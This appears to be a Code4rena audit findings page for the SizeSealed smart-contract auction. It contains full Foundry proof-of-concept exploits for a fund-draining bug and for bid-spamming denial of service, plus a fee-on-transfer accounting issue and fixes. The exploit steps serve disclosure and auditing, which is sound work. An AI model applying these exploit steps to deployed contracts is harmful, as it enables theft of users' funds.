Platform: Code4rena
Start Date: 04/11/2022
Pot Size: $42,500 USDC
Total HM: 9
Participants: 88
Period: 4 days
Judge: 0xean
Total Solo HM: 2
Id: 180
League: ETH
Rank: 24/88
Findings: 3
Award: $167.24
🌟 Selected for report: 0
🚀 Solo Findings: 0
153.1035 USDC - $153.10
https://github.com/code-423n4/2022-11-size/blob/main/src/SizeSealed.sol#L238 https://github.com/code-423n4/2022-11-size/blob/main/src/SizeSealed.sol#L426
An attacker can drain the SizeSealed.sol
contract buy creating fake auction and manipulating some contract logic.
Assuming that the SizeSealed.sol
initially contains 10000 DAI tokens, I’ll demonstrate how an attacker can steal these tokens.
The bug is similar to what I previous reported but there is one more instance of similar wrong check, its here https://github.com/code-423n4/2022-11-size/blob/main/src/SizeSealed.sol#L426
if (block.timestamp >= a.timings.endTimestamp) { if (a.data.lowestQuote != type(uint128).max || block.timestamp <= a.timings.endTimestamp + 24 hours) { revert InvalidState(); } }
A seller can manipulate the contract the similar was as I showed in the previous contract, (here is a quick recap of the exploit):
uint256 reserveQuotePerBase = 1e18 * uint256(type(uint128).max) / 1e18; uint128 minimumBidQuote = 1; quoteToken = new MockERC20("Dai Stablecoin", "DAI", 18); baseToken = new MockERC20("Wrapped Ether", "WETH", 18); baseToSell = 10000 ether;
seller_as_fake_bidder.bidOnAuctionWithSalt(baseToSell, baseToSell, "hello"); // want to buy
uint256[] memory bidIndices = new uint[](1); bidIndices[0] = 0; seller.finalize(bidIndices, type(uint128).max ,type(uint128).max); seller.cancelAuction();
seller_as_fake_bidder.cancel(0); // cancel the bid
The call to cancel would be successful as the above check which I mentioned would be bypassed because a.data.lowestQuote
would be equal to type(uint128).max
The cancel Bid function would return the quoteAmount back to the fake bidder.
Full POC:
// SPDX-License-Identifier: GPL-3.0 pragma solidity 0.8.17; import {Test} from "forge-std/Test.sol"; import {Merkle} from "murky/Merkle.sol"; import {FixedPointMathLib} from "solmate/utils/FixedPointMathLib.sol"; import {ECCMath} from "../util/ECCMath.sol"; import {SizeSealed} from "../SizeSealed.sol"; import {MockBuyer} from "./mocks/MockBuyer.sol"; import {MockERC20} from "./mocks/MockERC20.sol"; import {MockSeller} from "./mocks/MockSeller.sol"; import {ISizeSealed} from "../interfaces/ISizeSealed.sol"; contract SizeSealedTest is Test, ISizeSealed { SizeSealed auction; MockSeller seller; MockSeller seller2; MockERC20 quoteToken; MockERC20 quoteToken2; MockERC20 baseToken; MockBuyer bidder; MockBuyer bidder1; MockBuyer seller_as_fake_bidder; // Auction parameters (cliff unlock) uint32 startTime; uint32 endTime; uint32 unlockTime; uint32 unlockEnd; uint128 cliffPercent; uint128 baseToSell; uint256 reserveQuotePerBase = 1e18 * uint256(type(uint128).max) / 1e18; uint128 minimumBidQuote = 1; function setUp() public { // Create quote and bid tokens quoteToken = new MockERC20("Dai Stablecoin", "DAI", 18); baseToken = new MockERC20("Wrapped Ether", "WETH", 18); // Init auction contract auction = new SizeSealed(); // Create seller seller = new MockSeller(address(auction), quoteToken, baseToken); // Create bidders bidder = new MockBuyer(address(auction), quoteToken, baseToken); bidder1 = new MockBuyer(address(auction), quoteToken, baseToken); seller_as_fake_bidder = new MockBuyer(address(auction), quoteToken, baseToken); startTime = uint32(block.timestamp); endTime = uint32(block.timestamp) + 60; unlockTime = uint32(block.timestamp) + 100; unlockEnd = uint32(block.timestamp) + 1000; cliffPercent = 0; baseToSell = 10000 ether; vm.label(address(bidder), "Bidder 1"); vm.label(address(quoteToken), "Quote Token1"); vm.label(address(baseToken), "Base Token"); } function testStealfromSize() public { quoteToken.mint(address(auction), 10000 ether); // mint 10000 DAI to auction, to demonstrate that the auction initially containts DAI. (uint256 beforeFinalizeQuote, uint256 beforeFinalizeBase) = seller.balances(); (uint256 beforeFinalizefakebidderQuote, uint256 beforeFinalizefakebidderBase) = seller_as_fake_bidder.balances(); uint256 beforeauctionQuote = quoteToken.balanceOf(address(auction)); uint256 beforeauctionBase = baseToken.balanceOf(address(auction)); uint256 aid = seller.createAuction( baseToSell, reserveQuotePerBase, minimumBidQuote, startTime, endTime, unlockTime, unlockEnd, cliffPercent ); seller_as_fake_bidder.setAuctionId(aid); seller_as_fake_bidder.bidOnAuctionWithSalt(baseToSell, baseToSell, "hello"); // want to buy vm.warp(endTime + 1); uint256[] memory bidIndices = new uint[](1); bidIndices[0] = 0; seller.finalize(bidIndices, type(uint128).max ,type(uint128).max); seller.cancelAuction(); (uint256 afterFinalizeQuote, uint256 afterFinalizeBase) = seller.balances(); seller_as_fake_bidder.cancel(0); (uint256 afterFinalizefakebidderQuote, uint256 afterFinalizefakebidderBase) = seller_as_fake_bidder.balances(); uint256 afterauctionQuote = quoteToken.balanceOf(address(auction)); uint256 afterauctionBase = baseToken.balanceOf(address(auction)); emit log_named_decimal_uint("Before Finalize Quote of seller : ",beforeFinalizeQuote,18); emit log_named_decimal_uint("Before Finalize Base of seller : ",beforeFinalizeBase,18); emit log_named_decimal_uint("Before Finalize Quote of seller as fake bidder : ",beforeFinalizefakebidderQuote,18); emit log_named_decimal_uint("Before Finalize Base of seller as fake bidder : ",beforeFinalizefakebidderBase,18); emit log_named_decimal_uint("Before Finalize Quote of auction : ",beforeauctionQuote,18); emit log_named_decimal_uint("Before Finalize Base of auction : ",beforeauctionBase,18); emit log_named_decimal_uint("After Finalize Quote of seller : ",afterFinalizeQuote,18); emit log_named_decimal_uint("After Finalize Base of seller : ",afterFinalizeBase,18); emit log_named_decimal_uint("After Finalize Quote of seller as fake bidder : ",afterFinalizefakebidderQuote,18); emit log_named_decimal_uint("After Finalize Base of seller as fake bidder : ",afterFinalizefakebidderBase,18); emit log_named_decimal_uint("After Finalize Quote of auction : ",afterauctionQuote,18); emit log_named_decimal_uint("After Finalize Base of auction : ",afterauctionBase,18); } }
The output would be the following:
Running 1 test for src/test/SizeSealed.t.sol:SizeSealedTest [PASS] testStealfromSize() (gas: 640827) Logs: Before Finalize Quote of seller : : 0.000000000000000000 Before Finalize Base of seller : : 10000.000000000000000000 Before Finalize Quote of seller as fake bidder : : 1500000.000000000000000000 Before Finalize Base of seller as fake bidder : : 0.000000000000000000 Before Finalize Quote of auction : : 10000.000000000000000000 Before Finalize Base of auction : : 0.000000000000000000 After Finalize Quote of seller : : 10000.000000000000000000 After Finalize Base of seller : : 10000.000000000000000000 After Finalize Quote of seller as fake bidder : : 1500000.000000000000000000 After Finalize Base of seller as fake bidder : : 0.000000000000000000 After Finalize Quote of auction : : 0.000000000000000000 After Finalize Base of auction : : 0.000000000000000000
It is clear that the auction’s quote token are drained from auction to seller and the fake bidder gets to keep their token.
The attacker can repeat the same process for all the tokens to drain each token from the contract.
I’ve used WETH as baseToken here, but any other token can be used which has low value as compared to quoteToken, so the exploit would not actually need the same amount of WETH tokens, similar amount of any low value ERC20 token should also work.
https://github.com/code-423n4/2022-11-size/blob/main/src/SizeSealed.sol#L426 This check is not enough to let user cancel their bid, also the previous bug https://github.com/code-423n4/2022-11-size/blob/main/src/SizeSealed.sol#L238 is also responsible for the unexpected behaviour.
#0 - trust1995
2022-11-09T00:19:18Z
nice find, Dup of #252
#1 - c4-judge
2022-11-09T15:01:52Z
0xean marked the issue as duplicate
#2 - c4-judge
2022-12-06T00:22:37Z
0xean marked the issue as satisfactory
🌟 Selected for report: neko_nyaa
Also found by: 0x52, 0xSmartContract, 0xc0ffEE, Josiah, KingNFT, Lambda, R2, RaymondFam, Ruhum, TomJ, Trust, TwelveSec, __141345__, c7e7eff, cccz, cryptostellar5, fs0c, hansfriese, horsefacts, ladboy233, minhtrng, pashov, rvierdiiev, sashik_eth, tonisives, wagmi
8.5414 USDC - $8.54
https://github.com/code-423n4/2022-11-size/blob/main/src/SizeSealed.sol#L163
A transfer-on-fee token or a deflationary/rebasing token, causing the received amount to be less than the accounted amount. For instance, a deflationary tokens might charge a certain fee for every transfer() or transferFrom().
In case such a token is used for quoteToken the internal account would be wrongly calculated as the actual value of quoteAmount
in case of Bid
function would be different from the amount of tokens that are transfered to the contract.
For instance let's assume the token X takes 10% fee on transfer and a bidder places a bid for 100 tokens. The actual bid amount would be 90, but the quoteAmount stored in the contract would be 100. This would cause internal accounting error in the contract.
This would also cause issues when bidders call withdraw
, refund
or cancelBid
.
This case is perfectly handled for baseTokens when creating an auction (before & after balance checks) :
./SizeSealed.sol 96: uint256 balanceBeforeTransfer = ERC20(auctionParams.baseToken).balanceOf(address(this)); SafeTransferLib.safeTransferFrom( ERC20(auctionParams.baseToken), msg.sender, address(this), auctionParams.totalBaseAmount ); uint256 balanceAfterTransfer = ERC20(auctionParams.baseToken).balanceOf(address(this)); if (balanceAfterTransfer - balanceBeforeTransfer != auctionParams.totalBaseAmount) { revert UnexpectedBalanceChange(); }
But the case is not handled for quotetokens.
Recommend transferring the tokens first and comparing pre-/after token balances to compute the actual deposited amount.
#0 - c4-judge
2022-11-09T18:09:20Z
0xean marked the issue as duplicate
#1 - c4-judge
2022-12-06T00:23:08Z
0xean marked the issue as satisfactory
🌟 Selected for report: Trust
Also found by: 0x1f8b, 0xdapper, HE1M, KIntern_NA, Lambda, Picodes, RaymondFam, RedOneN, TomJ, V_B, __141345__, c7e7eff, chaduke, codexploder, corerouter, cryptonue, fs0c, gz627, hihen, joestakey, ktg, ladboy233, minhtrng, rvierdiiev, simon135, skyle, slowmoses, wagmi, yixxas
5.604 USDC - $5.60
https://github.com/code-423n4/2022-11-size/blob/main/src/SizeSealed.sol#L157
A malicious bidder can do two things:
1000
bids with minimum amount and cancel 999
so they get to buy minimum number of base tokens for minimum price and others can’t won't be able to place any bids, which would make sure that malicious bidder would get to buy the number of tokens they want without the auction being able to sell any more tokens.After an auction starts if a malicious user wants to buy the minimum number of basetoken for the minimum number of quote tokens they can create 1000
bids with the minimum baseamount and minimumquote, and then cancel 999
of those bids so other buyers can’t place their bids.
Below is the code:
./SizeSealed.t.sol
// SPDX-License-Identifier: GPL-3.0 pragma solidity 0.8.17; import {Test} from "forge-std/Test.sol"; import {Merkle} from "murky/Merkle.sol"; import {FixedPointMathLib} from "solmate/utils/FixedPointMathLib.sol"; import {ECCMath} from "../util/ECCMath.sol"; import {SizeSealed} from "../SizeSealed.sol"; import {MockBuyer} from "./mocks/MockBuyer.sol"; import {MockERC20} from "./mocks/MockERC20.sol"; import {MockSeller} from "./mocks/MockSeller.sol"; import {ISizeSealed} from "../interfaces/ISizeSealed.sol"; contract SizeSealedTest is Test, ISizeSealed { SizeSealed auction; MockSeller seller1; MockSeller seller2; MockERC20 quoteToken1; MockERC20 quoteToken2; MockERC20 baseToken; MockBuyer bidder1; MockBuyer bidder2; MockBuyer bidder3; // Auction parameters (cliff unlock) uint32 startTime; uint32 endTime; uint32 unlockTime; uint32 unlockEnd; uint128 cliffPercent; uint128 baseToSell; uint256 reserveQuotePerBase1 = 1500e18 * uint256(type(uint128).max) / 1e18; uint128 minimumBidQuote1 = 1500e18; uint256 reserveQuotePerBase2 = 1e18 * uint256(type(uint128).max) / 1e18; uint128 minimumBidQuote2 = 1e18; function setUp() public { // Create quote and bid tokens quoteToken1 = new MockERC20("Dai Stablecoin", "DAI", 18); quoteToken2 = new MockERC20("Similar to ether", "SETH", 18); baseToken = new MockERC20("Wrapped Ether", "WETH", 18); // Init auction contract auction = new SizeSealed(); // Create seller seller1 = new MockSeller(address(auction), quoteToken1, baseToken); // seller2 = new MockSeller(address(auction), quoteToken2, baseToken); // Create bidders bidder1 = new MockBuyer(address(auction), quoteToken1, baseToken); bidder2 = new MockBuyer(address(auction), quoteToken1, baseToken); // bidder3 = new MockBuyer(address(auction), quoteToken2, baseToken); startTime = uint32(block.timestamp); endTime = uint32(block.timestamp) + 60; unlockTime = uint32(block.timestamp) + 100; unlockEnd = uint32(block.timestamp) + 1000; cliffPercent = 0; baseToSell = 10000 ether; vm.label(address(bidder1), "Bidder 1"); vm.label(address(bidder2), "Bidder 2"); vm.label(address(quoteToken1), "Quote Token1"); vm.label(address(quoteToken2), "Quote Token2"); vm.label(address(baseToken), "Base Token"); } function testAuctionDOS() public { (uint256 sellerBeforeQuote, uint256 sellerBeforeBase) = seller1.balances(); uint256 aid = seller1.createAuction( baseToSell, reserveQuotePerBase1, minimumBidQuote1, startTime, endTime, unlockTime, unlockEnd, cliffPercent ); bidder1.setAuctionId(aid); bidder2.setAuctionId(aid); for(uint256 i = 0;i < 1000;i++){ bidder1.bidOnAuctionWithSalt(1 ether, 1501 ether, "hello"); // first } // first (uint256 buyerAfterQuote1, uint256 buyerbase1) = bidder1.balances(); emit log_named_decimal_uint("balance quote before cancel", buyerAfterQuote1,18); emit log_named_decimal_uint("balance base before cancel", buyerbase1,18); for(uint256 i=999;i > 0;i--){ bidder1.cancel(i); } // bidder2.bidOnAuctionWithSalt(10000 ether, 16000000 ether, "hello"); // second (uint256 buyerAfterQuote2, uint256 buyerbase2) = bidder1.balances(); emit log_named_decimal_uint("balance quote after cancel", buyerAfterQuote2,18); emit log_named_decimal_uint("balance base after cancel", buyerbase2,18); uint256[] memory bidIndices = new uint[](1000); for(uint256 i = 0;i < 1000;i++){ bidIndices[i] = i; } vm.warp(endTime + 1); seller1.finalize(bidIndices, 1 ether ,1501 ether); (uint256 sellerAfterQuote, uint256 sellerAfterBase) = seller1.balances(); // 1501000 , 9000 //third vm.warp(unlockEnd + 1); bidder1.withdrawindex(0); (uint256 buyerAfterQuote3, uint256 buyerbase3) = bidder1.balances(); emit log_named_decimal_uint("balance quote after finalize", buyerAfterQuote3,18); emit log_named_decimal_uint("balance base after finalize", buyerbase3,18); } }
./MockBuyer.sol
// SPDX-License-Identifier: GPL-3.0 pragma solidity 0.8.17; import {DSTest} from "ds-test/test.sol"; import {MockERC20} from "./MockERC20.sol"; import {ECCMath} from "../../util/ECCMath.sol"; import {SizeSealed} from "../../SizeSealed.sol"; import {ISizeSealed} from "../../interfaces/ISizeSealed.sol"; contract MockBuyer is ISizeSealed, DSTest { SizeSealed auctionContract; uint256 auctionId; uint256 lastBidIndex; uint128 baseAmount; bytes16 salt; ECCMath.Point publicKey; MockERC20 quoteToken; MockERC20 baseToken; uint256 constant SELLER_PRIVATE_KEY = uint256(keccak256("Size Seller")); uint256 constant BUYER_PRIVATE_KEY = uint256(keccak256("Size Buyer")); constructor(address _auction_contract, MockERC20 _quoteToken, MockERC20 _baseToken) { auctionContract = SizeSealed(_auction_contract); quoteToken = _quoteToken; baseToken = _baseToken; publicKey = ECCMath.publicKey(BUYER_PRIVATE_KEY); salt = bytes16(keccak256(abi.encode("randomsalt"))); // Mint quote tokens (USDC to ourselves) mintQuote(16000000 ether); } function setAuctionId(uint256 _aid) external { auctionId = _aid; } function bidOnAuction(uint128 _baseAmount, uint128 quoteAmount) public returns (uint256) { require(quoteToken.balanceOf(address(this)) >= quoteAmount); baseAmount = _baseAmount; bytes32 message = auctionContract.computeMessage(baseAmount, salt); (, bytes32 encryptedMessage) = ECCMath.encryptMessage(ECCMath.publicKey(SELLER_PRIVATE_KEY), BUYER_PRIVATE_KEY, message); lastBidIndex = auctionContract.bid( auctionId, quoteAmount, auctionContract.computeCommitment(message), publicKey, encryptedMessage, "", new bytes32[](0) ); return lastBidIndex; } function bidOnWhitelistAuctionWithSalt( uint128 _baseAmount, uint128 quoteAmount, bytes16 _salt, bytes32[] calldata proof ) public returns (uint256) { baseAmount = _baseAmount; salt = _salt; bytes32 message = auctionContract.computeMessage(baseAmount, _salt); (, bytes32 encryptedMessage) = ECCMath.encryptMessage(ECCMath.publicKey(SELLER_PRIVATE_KEY), BUYER_PRIVATE_KEY, message); lastBidIndex = auctionContract.bid( auctionId, quoteAmount, auctionContract.computeCommitment(message), publicKey, encryptedMessage, "", proof ); return lastBidIndex; } function bidOnAuctionWithSalt(uint128 _baseAmount, uint128 quoteAmount, bytes16 _salt) public returns (uint256) { require(quoteToken.balanceOf(address(this)) >= quoteAmount); baseAmount = _baseAmount; salt = _salt; bytes32 message = auctionContract.computeMessage(baseAmount, _salt); (, bytes32 encryptedMessage) = ECCMath.encryptMessage(ECCMath.publicKey(SELLER_PRIVATE_KEY), BUYER_PRIVATE_KEY, message); lastBidIndex = auctionContract.bid( auctionId, quoteAmount, auctionContract.computeCommitment(message), publicKey, encryptedMessage, "", new bytes32[](0) ); return lastBidIndex; } function balances() public view returns (uint256, uint256) { return (quoteToken.balanceOf(address(this)), baseToken.balanceOf(address(this))); } // withdraw the last bid we just made function withdraw() public { SizeSealed(auctionContract).withdraw(auctionId, lastBidIndex); } function withdrawindex(uint256 index) public { SizeSealed(auctionContract).withdraw(auctionId, index); } function refund() public { SizeSealed(auctionContract).refund(auctionId, lastBidIndex); } function cancel(uint256 bidatindex) public { SizeSealed(auctionContract).cancelBid(auctionId, bidatindex); } function mintQuote(uint256 amount) public { quoteToken.mint(address(this), amount); quoteToken.approve(address(auctionContract), type(uint256).max); } }
./MockSeller.sol
// SPDX-License-Identifier: GPL-3.0 pragma solidity 0.8.17; import {DSTest} from "ds-test/test.sol"; import {MockERC20} from "./MockERC20.sol"; import {ECCMath} from "../../util/ECCMath.sol"; import {SizeSealed} from "../../SizeSealed.sol"; import {ISizeSealed} from "../../interfaces/ISizeSealed.sol"; contract MockSeller is ISizeSealed, DSTest { SizeSealed auctionContract; uint256 auctionId; ECCMath.Point publicKey; MockERC20 quoteToken; MockERC20 baseToken; uint256 constant SELLER_PRIVATE_KEY = uint256(keccak256("Size Seller")); uint256 constant SELLER_STARTING_BASE = 10000 ether; constructor(address _auction_contract, MockERC20 _quoteToken, MockERC20 _baseToken) { auctionContract = SizeSealed(_auction_contract); quoteToken = _quoteToken; baseToken = _baseToken; publicKey = ECCMath.publicKey(SELLER_PRIVATE_KEY); mintBase(SELLER_STARTING_BASE); } function createAuction( uint128 totalBaseTokens, uint256 reserveQuotePerBase, uint128 minimumBidQuote, uint32 startTimestamp, uint32 endTimestamp, uint32 unlockStartTimestamp, uint32 unlockEndTimestamp, uint128 cliffPercent ) public returns (uint256) { ISizeSealed.Timings memory timings = ISizeSealed.Timings( uint32(startTimestamp), uint32(endTimestamp), uint32(unlockStartTimestamp), uint32(unlockEndTimestamp), uint128(cliffPercent) ); ISizeSealed.AuctionParameters memory params = ISizeSealed.AuctionParameters( address(baseToken), address(quoteToken), reserveQuotePerBase, totalBaseTokens, minimumBidQuote, bytes32(0), publicKey ); auctionId = auctionContract.createAuction(params, timings, ""); return auctionId; } function createAuctionWhitelist( uint128 totalBaseTokens, uint256 reserveQuotePerBase, uint128 minimumBidQuote, uint32 startTimestamp, uint32 endTimestamp, uint32 unlockStartTimestamp, uint32 unlockEndTimestamp, uint128 cliffPercent, bytes32 merkleRoot ) public returns (uint256) { ISizeSealed.Timings memory timings = ISizeSealed.Timings( uint32(startTimestamp), uint32(endTimestamp), uint32(unlockStartTimestamp), uint32(unlockEndTimestamp), uint128(cliffPercent) ); ISizeSealed.AuctionParameters memory params = ISizeSealed.AuctionParameters( address(baseToken), address(quoteToken), reserveQuotePerBase, totalBaseTokens, minimumBidQuote, merkleRoot, publicKey ); auctionId = auctionContract.createAuction(params, timings, ""); return auctionId; } function finalize(uint256[] calldata bidIndices, uint128 clearingBase, uint128 clearingQuote) public { auctionContract.reveal(auctionId, SELLER_PRIVATE_KEY, abi.encode(bidIndices, clearingBase, clearingQuote)); // auctionContract.finalize(auctionId, bidIndices, clearingBase, clearingQuote); } function cancelAuction() public { auctionContract.cancelAuction(auctionId); } function balances() public view returns (uint256, uint256) { return (quoteToken.balanceOf(address(this)), baseToken.balanceOf(address(this))); } function mintBase(uint256 amount) public { baseToken.mint(address(this), amount); baseToken.approve(address(auctionContract), type(uint256).max); } }
// [WOULD REVERT]
, showing that other bidders can’t place bets.Output:
Logs: balance quote before cancel: 14499000.000000000000000000 balance base before cancel: 0.000000000000000000 balance quote after cancel: 15998499.000000000000000000 balance base after cancel: 0.000000000000000000 balance quote after finalize: 15998499.000000000000000000 balance base after finalize: 1.000000000000000000
Decrease the length of a.bids if a bidder cancels their bid
#0 - trust1995
2022-11-09T00:44:02Z
Dup of #238
#1 - c4-judge
2022-11-09T15:40:36Z
0xean marked the issue as duplicate
#2 - c4-judge
2022-12-06T00:25:29Z
0xean marked the issue as satisfactory
#3 - c4-judge
2022-12-06T00:31:13Z
0xean changed the severity to 2 (Med Risk)